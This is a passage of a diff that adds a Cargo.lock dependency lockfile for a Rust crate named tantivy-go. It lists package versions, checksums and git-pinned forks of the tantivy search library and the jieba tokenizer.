+ "quote",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "futures-task"
+version = "0.3.31"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988"
+
+[[package]]
+name = "futures-util"
+version = "0.3.31"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81"
+dependencies = [
+ "futures-core",
+ "futures-macro",
+ "futures-task",
+ "pin-project-lite",
+ "pin-utils",
+ "slab",
+]
+
+[[package]]
+name = "fxhash"
+version = "0.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c31b6d751ae2c7f11320402d34e41349dd1016f8d5d45e48c4312bc8625af50c"
+dependencies = [
+ "byteorder",
+]
+
+[[package]]
+name = "getrandom"
+version = "0.2.16"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "wasi 0.11.1+wasi-snapshot-preview1",
+]
+
+[[package]]
+name = "getrandom"
+version = "0.3.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "r-efi",
+ "wasi 0.14.2+wasi-0.2.4",
+]
+
+[[package]]
+name = "hashbrown"
+version = "0.14.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1"
+dependencies = [
+ "ahash",
+ "allocator-api2",
+]
+
+[[package]]
+name = "hashbrown"
+version = "0.15.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1"
+dependencies = [
+ "allocator-api2",
+ "equivalent",
+ "foldhash",
+]
+
+[[package]]
+name = "heck"
+version = "0.4.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"
+
+[[package]]
+name = "htmlescape"
+version = "0.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e9025058dae765dee5070ec375f591e2ba14638c63feff74f13805a72e523163"
+
+[[package]]
+name = "hyperloglogplus"
+version = "0.4.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "621debdf94dcac33e50475fdd76d34d5ea9c0362a834b9db08c3024696c1fbe3"
+dependencies = [
+ "serde",
+]
+
+[[package]]
+name = "ident_case"
+version = "1.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39"
+
+[[package]]
+name = "include-flate"
+version = "0.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "df49c16750695486c1f34de05da5b7438096156466e7f76c38fcdf285cf0113e"
+dependencies = [
+ "include-flate-codegen",
+ "lazy_static",
+ "libflate",
+]
+
+[[package]]
+name = "include-flate-codegen"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8c5b246c6261be723b85c61ecf87804e8ea4a35cb68be0ff282ed84b95ffe7d7"
+dependencies = [
+ "libflate",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "indexmap"
+version = "2.10.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fe4cd85333e22411419a0bcae1297d25e58c9443848b11dc6a86fefe8c78a661"
+dependencies = [
+ "equivalent",
+ "hashbrown 0.15.5",
+]
+
+[[package]]
+name = "is_terminal_polyfill"
+version = "1.70.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf"
+
+[[package]]
+name = "itertools"
+version = "0.14.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2b192c782037fadd9cfa75548310488aabdbf3d2da73885b31bd0abd03351285"
+dependencies = [
+ "either",
+]
+
+[[package]]
+name = "itoa"
+version = "1.0.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c"
+
+[[package]]
+name = "jieba-macros"
+version = "0.7.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7c676b32a471d3cfae8dac2ad2f8334cd52e53377733cca8c1fb0a5062fec192"
+dependencies = [
+ "phf_codegen",
+]
+
+[[package]]
+name = "jieba-rs"
+version = "0.7.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f5dd552bbb95d578520ee68403bf8aaf0dbbb2ce55b0854d019f9350ad61040a"
+dependencies = [
+ "cedarwood",
+ "fxhash",
+ "include-flate",
+ "jieba-macros",
+ "lazy_static",
+ "phf",
+ "regex",
+]
+
+[[package]]
+name = "jiff"
+version = "0.2.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "be1f93b8b1eb69c77f24bbb0afdf66f54b632ee39af40ca21c4365a1d7347e49"
+dependencies = [
+ "jiff-static",
+ "log",
+ "portable-atomic",
+ "portable-atomic-util",
+ "serde",
+]
+
+[[package]]
+name = "jiff-static"
+version = "0.2.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "03343451ff899767262ec32146f6d559dd759fdadf42ff0e227c7c48f72594b4"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "jobserver"
+version = "0.1.33"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "38f262f097c174adebe41eb73d66ae9c06b2844fb0da69969647bbddd9b0538a"
+dependencies = [
+ "getrandom 0.3.3",
+ "libc",
+]
+
+[[package]]
+name = "js-sys"
+version = "0.3.77"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1cfaf33c695fc6e08064efbc1f72ec937429614f25eef83af942d0e227c3a28f"
+dependencies = [
+ "once_cell",
+ "wasm-bindgen",
+]
+
+[[package]]
+name = "lazy_static"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
+
+[[package]]
+name = "levenshtein_automata"
+version = "0.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0c2cdeb66e45e9f36bfad5bbdb4d2384e70936afbee843c6f6543f0c551ebb25"
+
+[[package]]
+name = "libc"
+version = "0.2.174"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1171693293099992e19cddea4e8b849964e9846f4acee11b3948bcc337be8776"
+
+[[package]]
+name = "libflate"
+version = "2.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "45d9dfdc14ea4ef0900c1cddbc8dcd553fbaacd8a4a282cf4018ae9dd04fb21e"
+dependencies = [
+ "adler32",
+ "core2",
+ "crc32fast",
+ "dary_heap",
+ "libflate_lz77",
+]
+
+[[package]]
+name = "libflate_lz77"
+version = "2.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e6e0d73b369f386f1c44abd9c570d5318f55ccde816ff4b562fa452e5182863d"
+dependencies = [
+ "core2",
+ "hashbrown 0.14.5",
+ "rle-decode-fast",
+]
+
+[[package]]
+name = "libm"
+version = "0.2.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f9fbbcab51052fe104eb5e5d351cf728d30a5be1fe14d9be8a3b097481fb97de"
+
+[[package]]
+name = "linux-raw-sys"
+version = "0.4.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab"
+
+[[package]]
+name = "linux-raw-sys"
+version = "0.9.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cd945864f07fe9f5371a27ad7b52a172b4b499999f1d97574c9fa68373937e12"
+
+[[package]]
+name = "log"
+version = "0.4.27"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "13dc2df351e3202783a1fe0d44375f7295ffb4049267b0f3018346dc122a1d94"
+
+[[package]]
+name = "logcall"
+version = "0.1.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "56e8309d7cbf9e9f27139956138cb375f14621cdb2f4cdd91468467ec04b6784"
+dependencies = [
+ "proc-macro-error",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "lru"
+version = "0.12.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "234cf4f4a04dc1f57e24b96cc0cd600cf2af460d4161ac5ecdd0af8e1f3b2a38"
+dependencies = [
+ "hashbrown 0.15.5",
+]
+
+[[package]]
+name = "lz4_flex"
+version = "0.11.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "08ab2867e3eeeca90e844d1940eab391c9dc5228783db2ed999acbc0a9ed375a"
+
+[[package]]
+name = "measure_time"
+version = "0.9.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "51c55d61e72fc3ab704396c5fa16f4c184db37978ae4e94ca8959693a235fc0e"
+dependencies = [
+ "log",
+]
+
+[[package]]
+name = "memchr"
+version = "2.7.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "32a282da65faaf38286cf3be983213fcf1d2e2a58700e808f83f4ea9a4804bc0"
+
+[[package]]
+name = "memmap2"
+version = "0.9.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "483758ad303d734cec05e5c12b41d7e93e6a6390c5e9dae6bdeb7c1259012d28"
+dependencies = [
+ "libc",
+]
+
+[[package]]
+name = "minimal-lexical"
+version = "0.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a"
+
+[[package]]
+name = "murmurhash32"
+version = "0.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2195bf6aa996a481483b29d62a7663eed3fe39600c460e323f8ff41e90bdd89b"
+
+[[package]]
+name = "nom"
+version = "7.1.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a"
+dependencies = [
+ "memchr",
+ "minimal-lexical",
+]
+
+[[package]]
+name = "num-conv"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9"
+
+[[package]]
+name = "num-traits"
+version = "0.2.19"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
+dependencies = [
+ "autocfg",
+ "libm",
+]
+
+[[package]]
+name = "once_cell"
+version = "1.21.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
+
+[[package]]
+name = "once_cell_polyfill"
+version = "1.70.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a4895175b425cb1f87721b59f0f286c2092bd4af812243672510e1ac53e2e0ad"
+
+[[package]]
+name = "oneshot"
+version = "0.1.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b4ce411919553d3f9fa53a0880544cda985a112117a0444d5ff1e870a893d6ea"
+
+[[package]]
+name = "ownedbytes"
+version = "0.7.0"
+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
+dependencies = [
+ "stable_deref_trait",
+]
+
+[[package]]
+name = "phf"
+version = "0.11.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1fd6780a80ae0c52cc120a26a1a42c1ae51b247a253e4e06113d23d2c2edd078"
+dependencies = [
+ "phf_macros",
+ "phf_shared",
+]
+
+[[package]]
+name = "phf_codegen"
+version = "0.11.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "aef8048c789fa5e851558d709946d6d79a8ff88c0440c587967f8e94bfb1216a"
+dependencies = [
+ "phf_generator",
+ "phf_shared",
+]
+
+[[package]]
+name = "phf_generator"
+version = "0.11.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3c80231409c20246a13fddb31776fb942c38553c51e871f8cbd687a4cfb5843d"
+dependencies = [
+ "phf_shared",
+ "rand",
+]
+
+[[package]]
+name = "phf_macros"
+version = "0.11.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f84ac04429c13a7ff43785d75ad27569f2951ce0ffd30a3321230db2fc727216"
+dependencies = [
+ "phf_generator",
+ "phf_shared",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "phf_shared"
+version = "0.11.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "67eabc2ef2a60eb7faa00097bd1ffdb5bd28e62bf39990626a582201b7a754e5"
+dependencies = [
+ "siphasher",
+]
+
+[[package]]
+name = "pin-project-lite"
+version = "0.2.16"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b"
+
+[[package]]
+name = "pin-utils"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
+
+[[package]]
+name = "pkg-config"
+version = "0.3.32"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c"
+
+[[package]]
+name = "portable-atomic"
+version = "1.11.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f84267b20a16ea918e43c6a88433c2d54fa145c92a811b5b047ccbe153674483"
+
+[[package]]
+name = "portable-atomic-util"
+version = "0.2.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d8a2f0d8d040d7848a709caf78912debcc3f33ee4b3cac47d73d1e1069e83507"
+dependencies = [
+ "portable-atomic",
+]
+
+[[package]]
+name = "powerfmt"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391"
+
+[[package]]
+name = "ppv-lite86"
+version = "0.2.21"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
+dependencies = [
+ "zerocopy",
+]
+
+[[package]]
+name = "prettyplease"
+version = "0.2.36"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ff24dfcda44452b9816fff4cd4227e1bb73ff5a2f1bc1105aa92fb8565ce44d2"
+dependencies = [
+ "proc-macro2",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "proc-macro-error"
+version = "1.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c"
+dependencies = [
+ "proc-macro-error-attr",
+ "proc-macro2",
+ "quote",
+ "syn 1.0.109",
+ "version_check",
+]
+
+[[package]]
+name = "proc-macro-error-attr"
+version = "1.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "version_check",
+]
+
+[[package]]
+name = "proc-macro2"
+version = "1.0.95"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778"
+dependencies = [
+ "unicode-ident",
+]
+
+[[package]]
+name = "quote"
+version = "1.0.40"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d"
+dependencies = [
+ "proc-macro2",
+]
+
+[[package]]
+name = "r-efi"
+version = "5.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f"
+
+[[package]]
+name = "rand"
+version = "0.8.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
+dependencies = [
+ "libc",
+ "rand_chacha",
+ "rand_core",
+]
+
+[[package]]
+name = "rand_chacha"
+version = "0.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
+dependencies = [
+ "ppv-lite86",
+ "rand_core",
+]
+
+[[package]]
+name = "rand_core"
+version = "0.6.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
+dependencies = [
+ "getrandom 0.2.16",
+]
+
+[[package]]
+name = "rand_distr"
+version = "0.4.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "32cb0b9bc82b0a0876c2dd994a7e7a2683d3e7390ca40e6886785ef0c7e3ee31"
+dependencies = [
+ "num-traits",
+ "rand",
+]
+
+[[package]]
+name = "rayon"
+version = "1.10.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b418a60154510ca1a002a752ca9714984e21e4241e804d32555251faf8b78ffa"
+dependencies = [
+ "either",
+ "rayon-core",
+]
+
+[[package]]
+name = "rayon-core"
+version = "1.12.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2"
+dependencies = [
+ "crossbeam-deque",
+ "crossbeam-utils",
+]
+
+[[package]]
+name = "regex"
+version = "1.11.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b544ef1b4eac5dc2db33ea63606ae9ffcfac26c1416a2806ae0bf5f56b201191"
+dependencies = [
+ "aho-corasick",
+ "memchr",
+ "regex-automata",
+ "regex-syntax",
+]
+
+[[package]]
+name = "regex-automata"
+version = "0.4.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "809e8dc61f6de73b46c85f4c96486310fe304c434cfa43669d7b40f711150908"
+dependencies = [
+ "aho-corasick",
+ "memchr",
+ "regex-syntax",
+]
+
+[[package]]
+name = "regex-syntax"
+version = "0.8.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c"
+
+[[package]]
+name = "rle-decode-fast"
+version = "1.0.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3582f63211428f83597b51b2ddb88e2a91a9d52d12831f9d08f5e624e8977422"
+
+[[package]]
+name = "rust-stemmers"
+version = "1.2.0"
+source = "git+https://github.com/silver-ymz/rust-stemmers.git?rev=51696378e352688b7ffd4fface615370ff5e8768#51696378e352688b7ffd4fface615370ff5e8768"
+
+[[package]]
+name = "rustc-hash"
+version = "2.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d"
+
+[[package]]
+name = "rustix"
+version = "0.38.44"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154"
+dependencies = [
+ "bitflags",
+ "errno",
+ "libc",
+ "linux-raw-sys 0.4.15",
+ "windows-sys 0.59.0",
+]
+
+[[package]]
+name = "rustix"
+version = "1.0.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "11181fbabf243db407ef8df94a6ce0b2f9a733bd8be4ad02b4eda9602296cac8"
+dependencies = [
+ "bitflags",
+ "errno",
+ "libc",
+ "linux-raw-sys 0.9.4",
+ "windows-sys 0.60.2",
+]
+
+[[package]]
+name = "rustversion"
+version = "1.0.21"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8a0d197bd2c9dc6e53b84da9556a69ba4cdfab8619eb41a8bd1cc2027a0f6b1d"
+
+[[package]]
+name = "ryu"
+version = "1.0.20"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f"
+
+[[package]]
+name = "serde"
+version = "1.0.219"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6"
+dependencies = [
+ "serde_derive",
+]
+
+[[package]]
+name = "serde_derive"
+version = "1.0.219"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "serde_json"
+version = "1.0.142"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "030fedb782600dcbd6f02d479bf0d817ac3bb40d644745b769d6a96bc3afc5a7"
+dependencies = [
+ "itoa",
+ "memchr",
+ "ryu",
+ "serde",
+]
+
+[[package]]
+name = "serde_spanned"
+version = "0.6.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bf41e0cfaf7226dca15e8197172c295a782857fcb97fad1808a166870dee75a3"
+dependencies = [
+ "serde",
+]
+
+[[package]]
+name = "shlex"
+version = "1.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
+
+[[package]]
+name = "siphasher"
+version = "1.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "56199f7ddabf13fe5074ce809e7d3f42b42ae711800501b5b16ea82ad029c39d"
+
+[[package]]
+name = "sketches-ddsketch"
+version = "0.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c1e9a774a6c28142ac54bb25d25562e6bcf957493a184f15ad4eebccb23e410a"
+dependencies = [
+ "serde",
+]
+
+[[package]]
+name = "slab"
+version = "0.4.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7a2ae44ef20feb57a68b23d846850f861394c2e02dc425a50098ae8c90267589"
+
+[[package]]
+name = "smallvec"
+version = "1.15.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03"
+
+[[package]]
+name = "stable_deref_trait"
+version = "1.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
+
+[[package]]
+name = "strsim"
+version = "0.11.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f"
+
+[[package]]
+name = "syn"
+version = "1.0.109"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
+dependencies = [
+ "proc-macro2",
+ "unicode-ident",
+]
+
+[[package]]
+name = "syn"
+version = "2.0.104"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "17b6f705963418cdb9927482fa304bc562ece2fdd4f616084c50b7023b435a40"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "unicode-ident",
+]
+
+[[package]]
+name = "tantivy"
+version = "0.23.0"
+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
+dependencies = [
+ "aho-corasick",
+ "arc-swap",
+ "base64",
+ "bitpacking",
+ "bon",
+ "byteorder",
+ "census",
+ "crc32fast",
+ "crossbeam-channel",
+ "downcast-rs",
+ "fastdivide",
+ "fnv",
+ "fs4",
+ "htmlescape",
+ "hyperloglogplus",
+ "itertools",
+ "levenshtein_automata",
+ "log",
+ "lru",
+ "lz4_flex",
+ "measure_time",
+ "memmap2",
+ "once_cell",
+ "oneshot",
+ "rayon",
+ "regex",
+ "rust-stemmers",
+ "rustc-hash",
+ "serde",
+ "serde_json",
+ "sketches-ddsketch",
+ "smallvec",
+ "tantivy-bitpacker",
+ "tantivy-columnar",
+ "tantivy-common",
+ "tantivy-fst",
+ "tantivy-query-grammar",
+ "tantivy-stacker",
+ "tantivy-tokenizer-api",
+ "tempfile",
+ "thiserror",
+ "time",
+ "uuid",
+ "winapi",
+]
+
+[[package]]
+name = "tantivy-bitpacker"
+version = "0.6.0"
+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
+dependencies = [
+ "bitpacking",
+]
+
+[[package]]
+name = "tantivy-columnar"
+version = "0.3.0"
+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
+dependencies = [
+ "downcast-rs",
+ "fastdivide",
+ "itertools",
+ "serde",
+ "tantivy-bitpacker",
+ "tantivy-common",
+ "tantivy-sstable",
+ "tantivy-stacker",
+]
+
+[[package]]
+name = "tantivy-common"
+version = "0.7.0"
+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
+dependencies = [
+ "async-trait",
+ "byteorder",
+ "ownedbytes",
+ "serde",
+ "time",
+]
+
+[[package]]
+name = "tantivy-fst"
+version = "0.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d60769b80ad7953d8a7b2c70cdfe722bbcdcac6bccc8ac934c40c034d866fc18"
+dependencies = [
+ "byteorder",
+ "regex-syntax",
+ "utf8-ranges",
+]
+
+[[package]]
+name = "tantivy-go"
+version = "1.0.0"
+dependencies = [
+ "cbindgen",
+ "crunchy",
+ "env_logger",
+ "lazy_static",
+ "log",
+ "logcall",
+ "phf",
+ "serde",
+ "serde_json",
+ "tantivy",
+ "tantivy-jieba",
+ "unicode-segmentation",
+]
+
+[[package]]
+name = "tantivy-jieba"
+version = "0.11.0"
+source = "git+https://github.com/anyproto/tantivy-jieba.git?rev=ca11d3153b8844cbc43cd243667e03f56f6d1e18#ca11d3153b8844cbc43cd243667e03f56f6d1e18"
+dependencies = [
+ "jieba-rs",
+ "lazy_static",
+ "tantivy-tokenizer-api",
+]
+
+[[package]]
+name = "tantivy-query-grammar"
+version = "0.22.0"
+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
+dependencies = [
+ "nom",
+]
+
+[[package]]
+name = "tantivy-sstable"
+version = "0.3.0"
+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
+dependencies = [
+ "futures-util",
+ "itertools",
+ "tantivy-bitpacker",
+ "tantivy-common",
+ "tantivy-fst",
+ "zstd",
+]
+
+[[package]]
+name = "tantivy-stacker"
+version = "0.3.0"
+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
+dependencies = [
+ "murmurhash32",
+ "rand_distr",
+ "tantivy-common",
+]
+
+[[package]]
+name = "tantivy-tokenizer-api"
+version = "0.3.0"
+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
+dependencies = [
+ "serde",
+]
+
+[[package]]
+name = "tempfile"
+version = "3.20.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e8a64e3985349f2441a1a9ef0b853f869006c3855f2cda6862a94d26ebb9d6a1"
+dependencies = [
+ "fastrand",
+ "getrandom 0.3.3",
+ "once_cell",
+ "rustix 1.0.8",
+ "windows-sys 0.59.0",
+]
+
+[[package]]
+name = "thiserror"
+version = "2.0.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "567b8a2dae586314f7be2a752ec7474332959c6460e02bde30d702a66d488708"
+dependencies = [
+ "thiserror-impl",
+]
+
+[[package]]
+name = "thiserror-impl"
+version = "2.0.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7f7cf42b4507d8ea322120659672cf1b9dbb93f8f2d4ecfd6e51350ff5b17a1d"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "time"
+version = "0.3.41"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8a7619e19bc266e0f9c5e6686659d394bc57973859340060a69221e57dbc0c40"
+dependencies = [
+ "deranged",
+ "itoa",
+ "num-conv",
+ "powerfmt",
+ "serde",
+ "time-core",
+ "time-macros",
+]
+
+[[package]]
+name = "time-core"
